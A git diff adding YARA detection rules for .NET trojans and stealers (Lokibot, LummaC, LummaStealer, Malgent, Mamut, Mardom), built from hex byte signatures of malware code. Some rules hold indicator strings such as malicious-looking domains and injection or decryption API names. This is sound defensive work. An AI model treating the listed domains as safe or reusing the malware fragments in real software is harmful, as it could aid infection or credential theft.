0000000000..48044ed90d --- /dev/null +++ b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ABL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Lokibot_ABL_MTB{ + meta: + description = "Trojan:BAT/Lokibot.ABL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {16 13 0d 2b 25 11 0c 11 0d 94 13 0e 00 11 0e 16 fe 04 13 0f 11 0f 2c 0b 72 ?? 01 00 70 73 ?? 00 00 0a 7a 00 11 0d 17 58 13 0d 11 0d 11 0c 8e 69 } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AKQA_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AKQA_MTB.yar new file mode 100644 index 0000000000..e5e222b141 --- /dev/null +++ b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AKQA_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_Lokibot_AKQA_MTB{ + meta: + description = "Trojan:BAT/Lokibot.AKQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 02 00 00 " + + strings : + $a_03_0 = {02 11 05 11 07 6f ?? 00 00 0a 13 08 09 17 58 0d 05 13 0a 11 0a 39 ?? 00 00 00 00 11 04 13 0b 11 0b 72 da 26 00 70 11 0b 72 da 26 00 70 6f ?? 00 00 0a 12 08 28 ?? 00 00 0a 58 6f ?? 00 00 0a 00 11 04 13 0b 11 0b 72 e2 26 00 70 11 0b 72 e2 26 00 70 6f ?? 00 00 0a 12 08 28 ?? 00 00 0a 58 6f ?? 00 00 0a 00 11 04 13 0b 11 0b 72 ee 26 00 70 11 0b 72 ee 26 00 70 6f ?? 00 00 0a 12 08 28 ?? 00 00 0a 58 } //5 + $a_03_1 = {11 08 16 28 ?? 00 00 06 13 11 11 08 17 28 ?? 00 00 06 13 12 11 08 18 28 ?? 00 00 06 13 13 03 11 11 6f ?? 00 00 0a 00 03 11 12 6f ?? 00 00 0a 00 03 11 13 6f ?? 00 00 0a 00 06 } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2) >=7 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ANVA_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ANVA_MTB.yar new file mode 100644 index 0000000000..094b40f178 --- /dev/null +++ b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ANVA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Lokibot_ANVA_MTB{ + meta: + description = "Trojan:BAT/Lokibot.ANVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {02 11 07 11 08 6f ?? 00 00 0a 13 09 12 09 28 ?? 00 00 0a 16 61 d2 13 0a 12 09 28 ?? 00 00 0a 16 61 d2 13 0b 12 09 28 ?? 00 00 0a 16 61 d2 13 0c 07 11 0a 6f ?? 00 00 0a 08 11 0b 6f ?? 00 00 0a 09 11 0c 6f ?? 00 00 0a 04 03 6f ?? 00 00 0a 59 13 0d 11 0d 19 32 32 07 6f ?? 00 00 0a 13 0e 08 6f ?? 00 00 0a 13 0f 09 6f ?? 00 00 0a 13 10 03 11 0e 6f ?? 00 00 0a 03 11 0f 6f ?? 00 00 0a 03 11 10 6f ?? 00 00 0a 2b 79 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AURA_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AURA_MTB.yar new file mode 100644 index 0000000000..d89b861855 --- /dev/null +++ b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AURA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Lokibot_AURA_MTB{ + meta: + description = "Trojan:BAT/Lokibot.AURA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {11 0e 02 11 0b 11 0d 6f ?? 00 00 0a 7d ?? 00 00 04 11 0e 04 11 0e 7b ?? 00 00 04 7b ?? 00 00 04 6f ?? 00 00 0a 59 7d ?? 00 00 04 11 17 } //5 + $a_03_1 = {01 25 16 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c 25 17 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c 25 18 02 7c ?? 00 00 04 28 ?? 00 00 0a 9c } //2 + $a_01_2 = {41 73 73 69 67 6e 6d 65 6e 74 32 5f 57 69 6e 66 6f 72 6d 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //2 Assignment2_Winform.Properties.Resources + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_01_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AWQA_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AWQA_MTB.yar new file mode 100644 index 0000000000..cc24956b49 --- /dev/null +++ b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_AWQA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Lokibot_AWQA_MTB{ + meta: + description = "Trojan:BAT/Lokibot.AWQA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 03 00 00 " + + strings : + $a_01_0 = {07 11 05 07 11 05 94 02 5a 1f 64 5d 9e 00 11 05 17 58 13 05 } //3 + $a_01_1 = {07 11 07 07 11 07 94 03 5a 1f 64 5d 9e } //3 + $a_01_2 = {53 74 75 64 65 6e 74 5f 48 6f 75 73 69 6e 67 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //2 Student_Housing.Properties.Resources + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*3+(#a_01_2 & 1)*2) >=8 + +} \ No newline at end of file diff --git a/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ZEU_MTB.yar b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ZEU_MTB.yar new file mode 100644 index 0000000000..d2b4f603ea --- /dev/null +++ b/Trojan/BAT/Lokibot/Trojan_BAT_Lokibot_ZEU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Lokibot_ZEU_MTB{ + meta: + description = "Trojan:BAT/Lokibot.ZEU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {26 11 0f 20 86 00 00 00 93 20 f4 a2 00 00 59 13 0e 2b 99 04 20 bb 63 41 7b 61 02 61 0a 7e ?? 00 00 04 0c 08 74 ?? 00 00 1b 25 06 93 0b 06 18 58 93 07 61 0b 11 10 20 b3 00 00 00 94 11 10 20 b3 00 00 00 94 59 13 0e 38 60 ff ff ff 7e ?? 00 00 04 74 ?? 00 00 1b 07 9a 25 0d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaC/Trojan_BAT_LummaC_BS_MTB.yar b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_BS_MTB.yar new file mode 100644 index 0000000000..5cd7473c2c --- /dev/null +++ b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_BS_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_LummaC_BS_MTB{ + meta: + description = "Trojan:BAT/LummaC.BS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {03 59 11 01 59 20 ff 00 00 00 5f d2 } //3 + $a_01_1 = {02 11 01 91 13 } //1 + $a_01_2 = {02 03 1f 1f 5f 63 02 1e 03 59 1f 1f 5f 62 60 d2 2a } //1 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaC/Trojan_BAT_LummaC_EAAN_MTB.yar b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_EAAN_MTB.yar new file mode 100644 index 0000000000..58d7098fd1 --- /dev/null +++ b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_EAAN_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaC_EAAN_MTB{ + meta: + description = "Trojan:BAT/LummaC.EAAN!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {11 30 11 2d 11 2f 91 58 11 2e 11 2f 91 58 20 00 01 00 00 5d 13 30 11 2d 11 30 91 13 32 11 2d 11 30 11 2d 11 2f 91 9c 11 2d 11 2f 11 32 9c 11 2f 17 58 13 2f 11 2f 20 00 01 00 00 32 c3 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaC/Trojan_BAT_LummaC_GPPG_MTB.yar b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_GPPG_MTB.yar index 16ad927b3f..510c9fd852 100644 --- a/Trojan/BAT/LummaC/Trojan_BAT_LummaC_GPPG_MTB.yar +++ b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_GPPG_MTB.yar @@ -8,4 +8,14 @@ rule Trojan_BAT_LummaC_GPPG_MTB{ condition: ((#a_01_0 & 1)*4) >=4 +} +rule Trojan_BAT_LummaC_GPPG_MTB_2{ + meta: + description = "Trojan:BAT/LummaC.GPPG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 00 " + + strings : + $a_01_0 = {11 0e 6e 11 29 6a 31 0d 11 26 11 13 61 13 0e 11 0d 11 1c 5b 26 16 13 2f 16 13 30 2b 34 } //4 + condition: + ((#a_01_0 & 1)*4) >=4 + } \ No newline at end of file diff --git a/Trojan/BAT/LummaC/Trojan_BAT_LummaC_GTM_MTB.yar b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_GTM_MTB.yar new file mode 100644 index 0000000000..45a2d00ab6 --- /dev/null +++ b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_GTM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaC_GTM_MTB{ + meta: + description = "Trojan:BAT/LummaC.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {13 05 11 05 08 28 ?? 15 00 06 11 05 09 28 ?? 15 00 06 11 04 11 05 6f ?? 09 00 0a 17 73 ?? ?? ?? 0a 13 06 11 06 07 16 07 8e 69 6f ?? 08 00 0a 11 06 28 ?? 15 00 06 11 04 6f ?? 09 00 0a 28 ?? 09 00 0a 2a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaC/Trojan_BAT_LummaC_LAT_MTB.yar b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_LAT_MTB.yar new file mode 100644 index 0000000000..055295ff34 --- /dev/null +++ b/Trojan/BAT/LummaC/Trojan_BAT_LummaC_LAT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaC_LAT_MTB{ + meta: + description = "Trojan:BAT/LummaC.LAT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {03 14 72 91 48 00 70 16 8d 01 00 00 01 14 14 14 28 ?? 00 00 0a 20 b6 fe 0d 00 8c 88 00 00 01 28 ?? 01 00 0a 17 8c 88 00 00 01 28 ?? 01 00 0a 28 ?? 00 00 0a 80 0b 00 00 04 03 74 8a 00 00 1b 20 b6 fe 0d 00 28 ?? 00 00 2b 28 ?? 00 00 2b 0b 07 0a 2b 00 06 2a } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaC/Trojan_BAT_Lummac_PGL_MTB.yar b/Trojan/BAT/LummaC/Trojan_BAT_Lummac_PGL_MTB.yar new file mode 100644 index 0000000000..c1820c76ef --- /dev/null +++ b/Trojan/BAT/LummaC/Trojan_BAT_Lummac_PGL_MTB.yar @@ -0,0 +1,44 @@ + +rule Trojan_BAT_Lummac_PGL_MTB{ + meta: + description = "Trojan:BAT/Lummac.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {11 05 11 07 1f 28 5a 58 13 08 28 ?? 00 00 0a 07 11 08 1e 6f ?? 00 00 0a 17 8d ?? 00 00 01 6f ?? 00 00 0a 13 09 11 09 28 ?? 00 00 0a 72 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} +rule Trojan_BAT_Lummac_PGL_MTB_2{ + meta: + description = "Trojan:BAT/Lummac.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {11 2e 11 2b 11 2d 91 58 28 ?? 00 00 0a 72 f8 00 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 28 ?? 00 00 0a 5d 13 2e 20 ?? 00 00 00 fe 0e 33 00 38 9f fc ff ff 16 13 2e 38 0d 00 00 00 16 13 2d 20 ?? 00 00 00 38 8e fc ff ff } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_BAT_Lummac_PGL_MTB_3{ + meta: + description = "Trojan:BAT/Lummac.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {16 13 07 38 e3 ff ff ff 28 ?? 00 00 0a 11 01 11 08 1e 6f ?? 00 00 0a 17 8d ?? 00 00 01 6f ?? 00 00 0a 28 ?? 00 00 06 28 ?? 00 00 0a 72 02 01 00 70 28 ?? 00 00 0a 6f ?? 00 00 0a 28 ?? 00 00 0a 39 b0 ff ff ff 38 17 00 00 00 11 01 11 02 1c 58 28 ?? 00 00 0a 13 03 20 03 00 00 00 38 eb fd ff ff 11 01 11 08 1f 14 58 28 ?? 00 00 0a 13 09 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} +rule Trojan_BAT_Lummac_PGL_MTB_4{ + meta: + description = "Trojan:BAT/Lummac.PGL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 04 00 00 " + + strings : + $a_80_0 = {59 54 56 6c 59 32 5a 6b 4e 32 52 6a 4f 44 51 7a 5a 54 4d 35 5a 54 41 34 5a 6d 45 34 4d 57 45 78 4d 7a 51 32 4e 54 46 6b 4e 6a 56 68 4e 6a 49 32 4d 44 45 77 4e 44 63 30 5a 54 4a 6d 4e 7a 51 33 59 7a 55 78 4d 44 67 33 4d 57 4a 6a 4d 54 63 31 4e 32 51 79 4d 67 3d 3d } //YTVlY2ZkN2RjODQzZTM5ZTA4ZmE4MWExMzQ2NTFkNjVhNjI2MDEwNDc0ZTJmNzQ3YzUxMDg3MWJjMTc1N2QyMg== 1 + $a_01_1 = {41 44 34 34 36 43 33 34 46 32 37 30 34 38 36 35 41 39 45 34 32 34 42 45 35 37 35 35 42 43 38 46 39 31 34 30 34 31 34 46 44 37 45 31 34 35 36 46 31 41 34 35 38 31 46 38 43 32 44 37 37 38 41 30 } //2 AD446C34F2704865A9E424BE5755BC8F9140414FD7E1456F1A4581F8C2D778A0 + $a_01_2 = {52 53 41 43 72 79 70 74 6f 53 65 72 76 69 63 65 50 72 6f 76 69 64 65 72 } //3 RSACryptoServiceProvider + $a_00_3 = {43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 } //4 CreateEncryptor + condition: + ((#a_80_0 & 1)*1+(#a_01_1 & 1)*2+(#a_01_2 & 1)*3+(#a_00_3 & 1)*4) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_AZVA_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_AZVA_MTB.yar new file mode 100644 index 0000000000..53eb6905d8 --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_AZVA_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_LummaStealer_AZVA_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.AZVA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 00 " + + strings : + $a_03_0 = {03 07 03 07 91 07 04 28 ?? ?? 00 06 9c 07 17 d6 0b 00 07 05 fe 02 16 fe 01 0c 08 2d e3 } //5 + $a_03_1 = {1f 09 0b 04 03 07 5d 9a 28 ?? 00 00 0a 02 28 ?? ?? 00 06 28 ?? ?? 00 0a 0a 2b 00 06 2a } //2 + $a_03_2 = {02 03 66 5f 02 66 03 5f 60 8c ?? 00 00 01 0a 2b 00 06 2a } //2 + condition: + ((#a_03_0 & 1)*5+(#a_03_1 & 1)*2+(#a_03_2 & 1)*2) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_BSA_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_BSA_MTB.yar new file mode 100644 index 0000000000..23ecc3bf45 --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_BSA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaStealer_BSA_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.BSA!MTB,SIGNATURE_TYPE_PEHSTR,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {09 08 11 11 91 d6 0d 11 11 17 d6 13 11 11 11 11 10 31 ed } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_DR_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_DR_MTB.yar new file mode 100644 index 0000000000..3bb3baab6a --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_DR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaStealer_DR_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.DR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {72 bf 00 00 70 a2 25 17 28 ?? ?? ?? 0a 13 09 12 09 28 ?? ?? ?? 0a a2 25 18 72 c3 00 00 70 a2 25 19 11 07 a2 25 1a 72 db 00 00 70 a2 25 1b 11 08 a2 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_MIV_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_MIV_MTB.yar new file mode 100644 index 0000000000..8db7cc65aa --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_MIV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_LummaStealer_MIV_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.MIV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 02 00 00 " + + strings : + $a_01_0 = {02 03 66 5f 02 66 03 5f 60 8c 95 00 00 01 0a 2b 00 06 2a } //5 + $a_03_1 = {1f 09 0b 04 03 07 5d 9a 28 ?? 05 00 0a 02 28 ?? 01 00 06 28 ?? 05 00 0a 0a 2b 00 06 2a } //4 + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*4) >=9 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_MMR_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_MMR_MTB.yar new file mode 100644 index 0000000000..900f3e62f3 --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_MMR_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaStealer_MMR_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.MMR!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {09 07 6f 9b 01 00 0a 00 09 07 6f 9c 01 00 0a 00 09 19 6f 9d 01 00 0a 00 09 6f 9e 01 00 0a 13 07 73 9f 01 00 0a 13 04 11 04 11 07 17 73 a0 01 00 0a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_NS_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_NS_MTB.yar new file mode 100644 index 0000000000..2749306fcf --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_NS_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_BAT_LummaStealer_NS_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.NS!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {16 13 10 11 17 20 ef 85 2e d2 5a 20 4e 60 83 60 61 38 ?? ?? ff ff 11 07 18 d3 1a 5a 58 4b 18 64 13 13 16 13 14 11 17 20 09 68 5f 47 5a 20 38 51 13 af 61 } //2 + $a_03_1 = {1f 10 8d 2d 00 00 01 13 0d 16 13 15 11 17 20 6a 4e 74 80 5a 20 dd 49 27 d5 61 38 ?? ?? ff ff 11 0c 1f 0d 11 0c 1f 0d 95 11 0d 1f 0d 95 5a 9e 11 0c 1f 0e 11 0c 1f 0e 95 11 0d 1f 0e 95 58 9e 11 17 20 39 f7 ff 9c 5a 20 ef d0 3e 94 61 } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_SQ_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_SQ_MTB.yar new file mode 100644 index 0000000000..054cdcbede --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_SQ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaStealer_SQ_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.SQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_01_0 = {09 1d 5d 1f 0d d8 13 04 11 04 1f 32 fe 02 13 05 11 05 2c 05 17 0b 00 2b 04 00 16 0b 00 } //2 + condition: + ((#a_01_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_SWA_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_SWA_MTB.yar new file mode 100644 index 0000000000..6433c0b3d1 --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_SWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaStealer_SWA_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.SWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {11 0d 11 17 11 19 28 ?? 01 00 0a 25 13 1c 11 1c 4a 11 0b 11 17 11 1b 28 ?? 01 00 0a 11 0c 11 1b 11 19 28 ?? 01 00 0a d8 d6 54 11 1b 17 d6 13 1b 11 1b 11 1a 31 ca } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_ZUV_MTB.yar b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_ZUV_MTB.yar new file mode 100644 index 0000000000..1d2dbacedd --- /dev/null +++ b/Trojan/BAT/LummaStealer/Trojan_BAT_LummaStealer_ZUV_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_LummaStealer_ZUV_MTB{ + meta: + description = "Trojan:BAT/LummaStealer.ZUV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {08 11 05 11 07 6f ?? 00 00 0a 13 08 12 08 28 ?? 00 00 0a 12 08 28 ?? 00 00 0a 58 86 12 08 28 ?? 00 00 0a 58 86 6c 23 00 00 00 00 00 00 08 40 5b 28 ?? 00 00 0a b7 13 09 11 09 04 d8 20 ff 00 00 00 5b 13 0a 09 11 05 11 07 11 0a 11 0a 11 0a } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/BAT/Malgent/Trojan_BAT_Malgent_PGM_MTB.yar b/Trojan/BAT/Malgent/Trojan_BAT_Malgent_PGM_MTB.yar new file mode 100644 index 0000000000..c2cd1cbd80 --- /dev/null +++ b/Trojan/BAT/Malgent/Trojan_BAT_Malgent_PGM_MTB.yar @@ -0,0 +1,14 @@ + +rule Trojan_BAT_Malgent_PGM_MTB{ + meta: + description = "Trojan:BAT/Malgent.PGM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {0f 7b 00 30 00 7d 00 2f 00 7b 00 31 00 7d 00 00 1f 5c 00 73 00 28 00 3f 00 3c 00 6b 00 65 00 79 00 3e 00 2e 00 2a 00 3f 00 29 00 5c 00 2e 00 00 07 6b 00 65 00 79 } //1 + $a_80_1 = {69 6e 66 6f 2d 73 65 63 2e 6a 70 2f 61 74 74 61 63 68 } //info-sec.jp/attach 1 + $a_80_2 = {73 74 67 73 65 63 2d 69 6e 66 6f 2e 6a 70 2f 61 63 6f 6e } //stgsec-info.jp/acon 1 + $a_80_3 = {50 64 66 41 74 74 61 63 68 50 72 6f 64 75 63 74 69 6f 6e 2e 65 78 65 } //PdfAttachProduction.exe 2 + condition: + ((#a_01_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mamut/Trojan_BAT_Mamut_NT_MTB.yar b/Trojan/BAT/Mamut/Trojan_BAT_Mamut_NT_MTB.yar new file mode 100644 index 0000000000..fe2f0fcabc --- /dev/null +++ b/Trojan/BAT/Mamut/Trojan_BAT_Mamut_NT_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Mamut_NT_MTB{ + meta: + description = "Trojan:BAT/Mamut.NT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {28 36 00 00 0a 7e 01 00 00 04 02 1a 58 08 6f 37 00 00 0a 28 38 00 00 0a a5 01 00 00 1b 0b 11 08 20 e5 35 0c 49 5a 20 38 6c 42 4a 61 } //3 + $a_01_1 = {41 75 74 6f 6b 65 6f 78 65 2e 70 64 62 } //1 Autokeoxe.pdb + $a_01_2 = {57 72 69 74 65 50 72 6f 63 65 73 73 4d 65 6d 6f 72 79 } //1 WriteProcessMemory + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_AB_MTB.yar b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_AB_MTB.yar new file mode 100644 index 0000000000..8af342f480 --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_AB_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_BAT_Mardom_AB_MTB{ + meta: + description = "Trojan:BAT/Mardom.AB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_01_0 = {01 0b 06 07 16 1a 6f 0c 00 00 0a 26 07 16 28 0d 00 00 0a 0c 06 16 73 0e 00 00 0a } //2 + $a_81_1 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 } //1 CreateDecryptor + $a_01_2 = {46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 } //1 FromBase64String + condition: + ((#a_01_0 & 1)*2+(#a_81_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ACWA_MTB.yar b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ACWA_MTB.yar new file mode 100644 index 0000000000..f134ee6480 --- /dev/null +++ b/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ACWA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_BAT_Mardom_ACWA_MTB{ + meta: + description = "Trojan:BAT/Mardom.ACWA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {06 8e 69 1a 2f 07 16 0b dd ?? 00 00 00 06 73 ?? 00 00 0a 0c 16 2d 44 2b 47 2b 48 2b 49 2b 4e 2b 4f 8d ?? 00 00 01 2b 4b 2b 4d 16 2b 4d 2b 52 16 11 04 09 11 05 02 28 ?? 00 00 06 de 0f 11 05 2c 0a 16 2d 07 11 05 6f ?? 00 00 0a dc 03 72 ?? ?? 00 70 11 04 28 ?? 00 00 06 17 0b 1d 2c ee de 3a 08 2b b6 02 2b b5 28 ?? 00 00 06 2b b0 0d 2b af 09 2b ae 13 04 2b b1 08 2b b0 73 ?? 00 00 0a 2b ac 13 05 2b aa } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/BAT/Mardom/Trojan_BAT_Mardom_ANXA_MTB.yar 